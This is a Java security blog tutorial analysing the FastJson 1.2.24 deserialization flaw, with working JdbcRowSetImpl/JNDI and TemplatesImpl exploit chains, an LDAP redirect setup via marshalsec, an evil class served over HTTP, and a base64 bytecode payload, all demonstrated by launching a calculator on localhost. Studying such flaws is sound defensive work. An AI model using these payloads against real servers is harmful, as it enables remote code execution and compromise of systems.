[java security] FastJson deserialization vulnerability analysis

[java security] FastJson deserialization vulnerability analysis

0x00. Preface

We learned about RMI and JNDI before, and then we can learn about FastJson deserialization

0x01. FastJson Overview

FastJson is Alibaba's open source JSON parsing library, which can parse JSON-formatted strings, support serialization of JavaBean to JSON strings, and deserialization of JSON strings to JavaBean

0x02. FastJson uses

First of all, we need to use maven to import a fastjson jar package, here we choose version 1.2.24

<dependency>
      <groupId>com.alibaba</groupId>
      <artifactId>fastjson</artifactId>
      <version>1.2.24</version>
</dependency>

Serialization and deserialization

First create a standard javabean: User class

package com.leekos.serial;

public class User {
    
    
    private String name;
    private int age;

    public User() {
    
    
        System.out.println("无参构造");
    }

    public User(String name, int age) {
    
    
        System.out.println("有参构造");
        this.name = name;
        this.age = age;
    }

    public String getName() {
    
    
        System.out.println("调用了get方法");
        return name;
    }

    public void setName(String name) {
    
    
        System.out.println("调用了set方法");
        this.name = name;
    }

    public int getAge() {
    
    
        return age;
    }

    public void setAge(int age) {
    
    
        this.age = age;
    }

    @Override
    public String toString() {
    
    
        return "User{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}

Test the method in fastjson:

  • JSON.toJSONString(obj) convert javabean to json string
  • JSON.parse(s) deserializes the json string
  • JSON.parseObject(s) deserializes the json string
  • JSON.parseObject(s, Object.class) deserializes the json string
public class JsonTest {
    
    
    public static void main(String[] args) {
    
    
        User user = new User("leekos",20);
        // 序列化
        String serializeStr = JSON.toJSONString(user);
        System.out.println("serializeStr=" + serializeStr);

        System.out.println("------------------------------------------------------------------");

        //通过parse方法进行反序列化,返回的是一个JSONObject
        Object obj1 = JSON.parse(serializeStr);
        System.out.println("parse反序列化对象名称:" + obj1.getClass().getName());
        System.out.println("parse反序列化:" + obj1);

        System.out.println("------------------------------------------------------------------");

        //通过parseObject,不指定类,返回的是一个JSONObject
        JSONObject obj2 = JSON.parseObject(serializeStr);
        System.out.println("parseObject反序列化对象名称:" + obj2.getClass().getName());
        System.out.println("parseObject反序列化:" + obj2);

        System.out.println("------------------------------------------------------------------");

        //通过parseObject,指定类后返回的是一个相应的类对象
        User obj3 = JSON.parseObject(serializeStr, User.class);
        System.out.println("parseObject反序列化对象名称:" + obj3.getClass().getName());
        System.out.println("parseObject反序列化:" + obj3);

    }
}

output:

有参构造
调用了get方法
serializeStr={
    
    "age":20,"name":"leekos"}
------------------------------------------------------------------
parse反序列化对象名称:com.alibaba.fastjson.JSONObject
parse反序列化:{
    
    "name":"leekos","age":20}
------------------------------------------------------------------
parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject
parseObject反序列化:{
    
    "name":"leekos","age":20}
------------------------------------------------------------------
无参构造
调用了set方法
parseObject反序列化对象名称:com.leekos.serial.User
parseObject反序列化:User{
    
    name='leekos', age=20}

By observation, we can know: (without SerializerFeature.WriteClassNameparameters)

  • The method will be called JSON.toJSONString(obj)when the javabean is serializedget()
  • The use JSON.parse(s)will deserialize the json string into JSONObjectan object, and it is not really deserialized, and no method is called
  • The use JSON.parseObject(s)will deserialize the json string into JSONObjectan object, and it is not really deserialized, and no method is called
  • When we specify that JSON.parseObject(s,User.class)the second parameter of the function is the bytecode of the specified class, we can deserialize it correctly and call set()the method

Through the above analysis, we may think that there is no class-related identifier in the json string, how do we know what type of object the json string deserializes to correspond to?

JSON.toJSONString(obj,SerializerFeature.WriteClassName)At this time , the second parameter needs to be used . If the parameter is SerializerFeature.WriteClassName, then when serializing javabeans, the name of the class will be written in the json string and stored in @typethe keyword

Passing in SerializerFeature.WriteClassNameenables Fastjson to support introspection. After enabling introspection, the data serialized into JSON will have an additional @type, which is the JSON text representing the object type.

Let's change the code above:

String serializeStr = JSON.toJSONString(user,SerializerFeature.WriteClassName);

output:

有参构造
调用了get方法
serializeStr={
    
    "@type":"com.leekos.serial.User","age":20,"name":"leekos"}
------------------------------------------------------------------
无参构造
调用了set方法
parse反序列化对象名称:com.leekos.serial.User
parse反序列化:User{
    
    name='leekos', age=20}
------------------------------------------------------------------
无参构造
调用了set方法
调用了get方法
parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject
parseObject反序列化:{
    
    "name":"leekos","age":20}
------------------------------------------------------------------
无参构造
调用了set方法
parseObject反序列化对象名称:com.leekos.serial.User
parseObject反序列化:User{
    
    name='leekos', age=20}

After analysis, we can know:

  • When the deserialization is successful, parse()both methods parseObject()will be calledset()
  • JSON.parseObject()Deserialization will succeed only if the class is specified in the second parameter
  • "@type":"com.leekos.serial.User"Use the specified class in the string . When JSON.parseObject()the second parameter is used and the second parameter is not specified, the method will be called set(), get()but it will be converted into JSONObjectan object
  • Using JSON.parse()the method, you cannot use parameters to specify the deserialized class, it @typedeserializes to the specified class by identifying the json string

0x03. Deserialization vulnerability

In fact, there is a very sensitive issue above. If @typeit is malicious, you can do some malicious operations through triggers set()and methods.get()

The vulnerability is that when fastjson autotype is used to process json objects, @typethe field is not fully security verified. An attacker can pass in a dangerous class, and call the dangerous class to connect to the remote rmi host, and execute code through the malicious class. In this way, attackers can exploit remote code execution vulnerabilities, obtain sensitive server information disclosure, and even use this vulnerability to further modify, add, and delete server data, causing a huge impact on the server.

Let's write a malicious class first:

package com.leekos.rce;

import java.io.IOException;

public class ExecObj {
    
    
    private String name;

    public ExecObj() {
    
    
    }

    public ExecObj(String name) {
    
    
        this.name = name;
    }

    public String getName() {
    
    
        return name;
    }

    public void setName(String name) throws IOException {
    
    
        Runtime.getRuntime().exec("calc");
        this.name = name;
    }

    @Override
    public String toString() {
    
    
        return "ExecObj{" +
                "name='" + name + '\'' +
                '}';
    }
}

After adding it SerializerFeature.WriteClassNamethen use JSON.parseObject()deserialization:

public class Test {
    
    
    public static void main(String[] args) {
    
    
        String s = "{\"@type\":\"com.leekos.rce.ExecObj\",\"name\":\"leekos\"}";
        Object o = JSON.parseObject(s);
    }
}

Successfully invoked set()method:

image-20230821142758785


0x04. Vulnerability trigger condition

However, certain conditions need to be met in FastJson:

The automatic call of the getter also needs to meet the following conditions:

  • Method name length is greater than 4
  • non-static method
  • Start with get and the fourth letter is uppercase
  • No parameter passed in
  • The return value type is inherited from Collection Map AtomicBoolean AtomicInteger AtomicLong

The automatic call of the setter needs to meet the following conditions:

  • Method name length is greater than 4
  • non-static method
  • The return value is void or the current class
  • Start with set and the fourth letter is uppercase
  • The number of parameters is 1

In addition, Fastjson also has the following features:

  1. If there is no setter method for the private variable in the target class, but you still want to assign a value to this variable when deserializing, you need to use Feature.SupportNonPublicFieldparameters
  2. When fastjson is looking for getter/setter methods for class properties, calling function com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch()methods ignores _ -strings
  3. When fastjson deserializes, if the Field type is byte[], com.alibaba.fastjson.parser.JSONScanner#bytesValuebase64 decoding will be called, and base64 encoding will also be performed during serialization

0x05. Vulnerability attack method

In the deserialization vulnerability of Fastjson, malicious code is used TemplatesImpland JdbcRowSetImplconstructed to implement command execution. TemplatesImplAfter debugging so many chains before, this class must be familiar to this class. It uses a class loader internally to create a new object. At this time, the malicious code defined in the static code block will be executed. Let's talk about the latter JdbcRowSetImplneed to use the previous learning JNDI注入to achieve the attack.

Here are two ways:

  • TemplatesImplchain
  • JdbcRowSetImplchain

JdbcRowSetImpl exploit chain

The JNDI injection exploit chain is the most versatile exploit method, which can be used in the following three deserialization methods:

parse(jsonStr)
parseObject(jsonStr)
parseObject(jsonStr,Object.class)

Here JNDI injection is used JdbcRowSetImpl, because we need to use JNDI, so let's look it up globallylookup()

image-20230821173352644

The discovery lookup()will connect()be called in the function, and the parameters will be passed in this.getDataSourceName(),

public void setDataSourceName(String var1) throws SQLException {
    
    
        if (this.getDataSourceName() != null) {
    
    
            if (!this.getDataSourceName().equals(var1)) {
    
    
                String var2 = this.getDataSourceName();
                super.setDataSourceName(var1);
                this.conn = null;
                this.ps = null;
                this.rs = null;
                this.propertyChangeSupport.firePropertyChange("dataSourceName", var2, var1);
            }
        } else {
    
    
            super.setDataSourceName(var1);  //赋值
            this.propertyChangeSupport.firePropertyChange("dataSourceName", (Object)null, var1);
        }
    }

setDataSourceName()A function assigns dataSourceNamea value, and this function is setxxx()a form. dataSourceNamecontrollable

Then we need to find where connect()the function can be called, and this function is setxxx()of the form:

public void setAutoCommit(boolean var1) throws SQLException {
    
    
    if (this.conn != null) {
    
    
        this.conn.setAutoCommit(var1);
    } else {
    
    
        this.conn = this.connect();
        this.conn.setAutoCommit(var1);
    }
}

If you find one setAutoCommit(), you can simply construct a json string

{
    
    
    "@type":"com.sun.rowset.JdbcRowSetImpl", 
    //调用com.sun.rowset.JdbcRowSetImpl函数中的setdataSourceName函数 传入参数"ldap://127.0.0.1:1389/Exploit"
    "dataSourceName":"ldap://127.0.0.1:1389/Exploit", 
    "autoCommit":true // 之后再调用setAutoCommit函数,传入true
}

Demo

public class Demo {
    
    
    public static void main(String[] args) {
    
    
        String exp = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/leekos\",\"autoCommit\":true}";
        JSON.parse(exp);
    }
}

First, let's use the plug-in: marshalsecstart an ldap service:

(here the url points to the local EvilClass.classfile at port 8090)

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8090/#EvilClass

Then python starts an http service (port 8090), and there is a EvilClass.classfile in the directory:

python3 -m http.server 8090

EvilClass.java source code

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;

public class EvilClass implements ObjectFactory {
    
    
    static {
    
    
        System.out.println("hello,static~");
    }
    public EvilClass() throws IOException {
    
    
        System.out.println("constructor~");
    }

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
    
    
        Runtime.getRuntime().exec("calc");
        System.out.println("hello,getObjectInstance~");
        return null;
    }
}

Use javac (jdk7u21) to compile here

run:

image-20230821174611972

TemplatesImpl utilizes the chain

Vulnerability version

fastjson 1.22-1.24

POC
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.codec.binary.Base64;


public class Test {
    
    

    //最终执行payload的类的原始模型
    //ps.要payload在static模块中执行的话,原始模型需要用static方式。
    public static class lala{
    
    

    }
    //返回一个在实例化过程中执行任意代码的恶意类的byte码
    //如果对于这部分生成原理不清楚,参考以前的文章
    public static byte[] getevilbyte() throws Exception {
    
    
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.get(lala.class.getName());
        //要执行的最终命令
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        //之前说的静态初始化块和构造方法均可,这边用静态方法
        cc.makeClassInitializer().insertBefore(cmd);
//        CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);
//        cons.setBody("{"+cmd+"}");
//        cc.addConstructor(cons);
        //设置不重复的类名
        String randomClassName = "LaLa"+System.nanoTime();
        cc.setName(randomClassName);
        //设置满足条件的父类
        cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
        //获取字节码

        return cc.toBytecode();
    }
    //生成payload,触发payload
    public static void  poc() throws Exception {
    
    
        //生成攻击payload
        byte[] evilCode = getevilbyte();//生成恶意类的字节码
        String evilCode_base64 = Base64.encodeBase64String(evilCode);//使用base64封装
        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String text1 = "{"+
                "\"@type\":\"" + NASTY_CLASS +"\","+
                "\"_bytecodes\":[\""+evilCode_base64+"\"],"+
                "'_name':'a.b',"+
                "'_tfactory':{ },"+
                "'_outputProperties':{ }"+
                "}\n";
        //此处删除了一些我觉得没有用的参数(第二个_name,_version,allowedProtocols),并没有发现有什么影响
        System.out.println(text1);

        //服务端触发payload
        ParserConfig config = new ParserConfig();
        Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
        
        //Object obj = JSON.parseObject(text1, Feature.SupportNonPublicField);
    }
    //main函数调用以下poc
    public static void main(String[] args){
    
    
        try {
    
    
            poc();
        } catch (Exception e) {
    
    
            e.printStackTrace();
        }
    }
}

Let's execute it and pop up the calculator:

image-20230821153456387

JSON string:

{
    
    "@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADEAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAARsYWxhAQAMSW5uZXJDbGFzc2VzAQAsTGNvbS9sZWVrb3MvRmFzdEpzb25UZW1wbGF0ZXNJbXBsL1Rlc3QkbGFsYTsBAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAAEAAUHABMBACpjb20vbGVla29zL0Zhc3RKc29uVGVtcGxhdGVzSW1wbC9UZXN0JGxhbGEBABBqYXZhL2xhbmcvT2JqZWN0AQAlY29tL2xlZWtvcy9GYXN0SnNvblRlbXBsYXRlc0ltcGwvVGVzdAEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHABUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAXABgKABYAGQEABGNhbGMIABsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAdAB4KABYAHwEAEkxhTGE0Mjk4NDA5NDYzMzcwMAEAFExMYUxhNDI5ODQwOTQ2MzM3MDA7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAAEAAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ"],'_name':'a.b','_tfactory':{
    
     },'_outputProperties':{
    
     }}
Vulnerability analysis

Using TemplatesImplthe form of a chain to trigger the FastJson deserialization exploit requires harsh conditions

  • When using the server JSON.parse(), you needJSON.parse(s,Feature.SupportNonPublicField);
  • When the server uses parseObject(), the following format must be used to trigger the vulnerability: JSON.parseObject(input, Object.class, Feature.SupportNonPublicField);JSON.parseObject(input, Feature.SupportNonPublicField);

Because some attributes that the payload needs to be assigned are privateattributes, the server must add features to restore the data of the private attribute in json

In fact, according to the above poc, we will have several questions:

  • _bytecodesWhy do so many values ​​need to be constructed if detachment inserts malicious code
  • _bytecodesWhy is the value in base64 encrypted
  • Why do serialization add Feature.SupportNonPublicFieldparameter values
  1. @type : It is used to store the target type during deserialization. TemplatesImplThis class is specified here. Fastjson will deserialize according to this class to obtain an instance. Because the getOutputPropertiesmethod is called, the incoming bytecodes class is instantiated, resulting in command execution. It should be noted that Fastjson will only deserialize public modified properties by default, outputProperties and _bytecodes are privatemodified and must be added Feature.SupportNonPublicFieldto parseObject to trigger;
  2. _bytecodes: Inherit AbstractTransletthe malicious class bytecode of the class, and use Base64the encoding
  3. _name: getTransletInstanceWhen calling , it will be judged whether it is null, if it is null, it will be returned directly, and it will not be executed, and the utilization chain will be broken. Please refer to the cc2 and cc4 chains.
  4. _tfactory: defineTransletClassesits method will be called getExternalExtensionsMap, if it is null, an exception will occur, but when analyzing the jdk7u21 chain, some jdk did not find this method.
  5. outputProperties: The key parameters when exploiting the vulnerability. Because Fastjson will call its method during the deserialization process getOutputProperties, bytecodesthe bytecode will be successfully instantiated and the command will be executed.

The reason why the aforementioned addition Feature.SupportNonPublicFieldcan be triggered is because Feature.SupportNonPublicFieldthe function is to support deserialization of properties protected by non-public modifiers, and serialization of private properties in Fastjson.

Guess you like

Origin blog.csdn.net/qq_61839115/article/details/132477284